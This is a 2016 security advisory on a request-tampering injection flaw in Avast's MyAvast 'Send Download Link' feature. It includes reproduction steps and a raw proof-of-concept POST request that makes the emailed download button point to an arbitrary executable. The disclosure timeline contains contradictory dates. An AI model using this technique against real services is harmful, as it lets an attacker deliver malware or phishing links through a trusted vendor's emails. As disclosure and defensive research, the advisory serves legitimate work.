Document Title: =============== AVAST #13 - Persistent Cross Site Scripting Vulnerability Date: ===== 2016-04-18 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1623 Video: https://www.youtube.com/watch?v=08Ux7DUIfNo VL-ID: ===== 1623 Common Vulnerability Scoring System: ==================================== 3.2 Introduction: ============= Avast security software products are developed for Microsoft Windows, Mac OS X, Android and Linux users by AVAST Software s.r.o., a Czech private limited company. Avast was founded in 1988, and is headquartered in Prague, Czech Republic. It produces antivirus and security programs for personal and commercial use. In January 2015, Avast had 21.4% of the worldwide security vendor market share. As of March 2015, Avast had 233 million users of its products and services worldwide. According to a company press release, Avast protects more than 30 percent of the consumer PCs in the world outside of China. The software products have a user interface available in 45 languages. Avast has 500 employees; 90 percent of whom work in the Czech Republic. Avast has 13 offices in Prague, Brno, Germany, China, South Korea, Taiwan & U.S. (Copy of the Homepage: https://en.wikipedia.org/wiki/Avast_%28software_company%29 ) Abstract: ========= An independent vulnerability laboratory researcher discovered a cross site scripting web vulnerability in the official AVAST online service web-application. Report-Timeline: ================ 2015-10-26: Researcher Notification & Coordination (Karim Rahal - ElitSec) 2015-10-26: Vendor Notification (AVAST Security Team - Bug Bounty Program) 2015-02-03: Vendor Response/Feedback (AVAST Security Team - Bug Bounty Program) 2015-04-10: Vendor Fix/Patch (AVAST Developer Team) 2015-04-19: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== AVAST! Product: Online Service - Web Application v2015 Q4 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A client-side POST inject web vulnerability has been discovered in the official AVAST MyAVAST online service web-application. The client-side vulnerability allows remote attacker to inject script codes via POST method to compromise client-side application to browser requests. The vulnerability is located the `Send Download Link` request, that allows an attacker finally to change stuff inside the email sent via POST method. The bug can be exploited by tampering the `Send Download Link` request to emails. The attacker is able to interact by tampering the session via changíng a parameter named `payload`. The payload is the `Anchor` to the download button in the email. In the case of attack scenario we was finally able to change the parameter live with the `anchor`. Thus interaction bypass the filter out of the box and adds the content to the eMail for final exploitation. The request method to inject is POST and the attack vector is located on the client-side of the online service web-application. The attack vector of the vulnerability is client-side and the request method to inject is POST. The security risk of the client-side POST inject web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. Exploitation of the client-side cross site scripting web vulnerability requires no privilege web application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicous script codes or client-side manipulation of browser to application requests. Request Method(s): [+] POST Vulnerable Module(s): [+] MyAvast - Devices - Add Vulnerable Parameter(s): [+] link to email Affected Module(s): [+] Email - Download Button Proof of Concept: ================= The vulnerability can be exploited by remote attackers with low privilege web-application user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Go to the following url ... https://myavast.com/en-us/#devices/add 2. Click the "send" button next to the "send Download" link to: (Your Email) 3. Start a session tamper for http to intercept in the next step the vulnerable parameter value 4. Change the payload":[""] and change anything inside the payload parameter, and anything you put there will be the "anchor" of the download button in the email 5. After that interaction go to your email, and click the download button and you will see the executable payload 6. Successful reproduce of the client-side POST inject web vulnerability in the avast web-application! PoC: Exploitcode (Email)

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Download --- PoC Session Logs [POST] --- POST /en-us/service/single HTTP/1.1 Host: my.avast.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://my.avast.com/en-us/ Cookie: locale2=en-us; ga=GA1.2.1525308852.1441304200; ga=GA1.3.1525308852.1441304200; s_fid=2AFFF8AE00345EC4-35D71565E4ED40A3; osc_omcid=undefined; s_nr2=1445697713413-New; s_vi=[CS]v1|2B15CC53053117C1-6000011080005E70[CE]; fbm_273679106083329=base_domain=.avast.com; IDT2=IDTR-52950-2X7dJugbPC3fm7FWVmXXM1MxZcsWxhZC5ct35444; fbSecThr=true; gat_UA-58120669-2=1; dc_gtm_UA-58120669-2=1; mySessionId=JKO6i46DQLL2XdFB; myLocalIdSession="IDTR-52950-2X7dJugbPC3fm7FWVmXXM1MxZcsWxhZC5ct35444:1" Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Length: 250 {"serviceName":"EmailService","operationName":"sendSecureAnotherDeviceEmail","securityToken":"c55e9113be104389812b597ada751384","correlationId":12,"payload":[http://dl.4players.de/ts/releases/3.0.18.1/TeamSpeak3-Client-win64-3.0.18.1.exe","Windows"]} HTTP/1.1 200 OK Server: nginx/1.7.6 Date: Mon, 26 Oct 2015 14:22:53 GMT Content-Type: application/json Content-Length: 153 Connection: keep-alive Set-Cookie: mySessionId=JKO6i46DQLL2XdFB; Expires=Mon, 26 Oct 2015 14:23:53 GMT; Path=/; Domain=.my.avast.com; Secure; HTTPOnly Set-Cookie: myLocalIdSession="IDTR-52950-2X7dJugbPC3fm7FWVmXXM1MxZcsWxhZC5ct35444:1"; Expires=Mon, 26 Oct 2015 14:23:53 GMT; Path=/; Domain=.my.avast.com; Secure; HTTPOnly Last-Modified: Fri, 23 Oct 2015 10:53:52 GMT Cache-Control: max-age=0, private Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Reference(s): https://my.avast.com https://my.avast.com/en-us/ https://my.avast.com/en-us/service/ https://my.avast.com/en-us/service/single Solution: ========= The vulnerability can be patched by a restriction of the input to the link to download path. Filter the input and disallow special chars. Prevent malicious interaction by a request protection to the validation mechanism itself. Risk: ===== The security risk of the client-side POST inejct web vulnerability to the email module is estimated as medium. (CVSS 3.2) Credits: ======== Karim Rahal [KarimMTV@elitesec.org] - @KarimMTV [http://www.vulnerability-lab.com/show.php?user=Karim%20Rahal] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™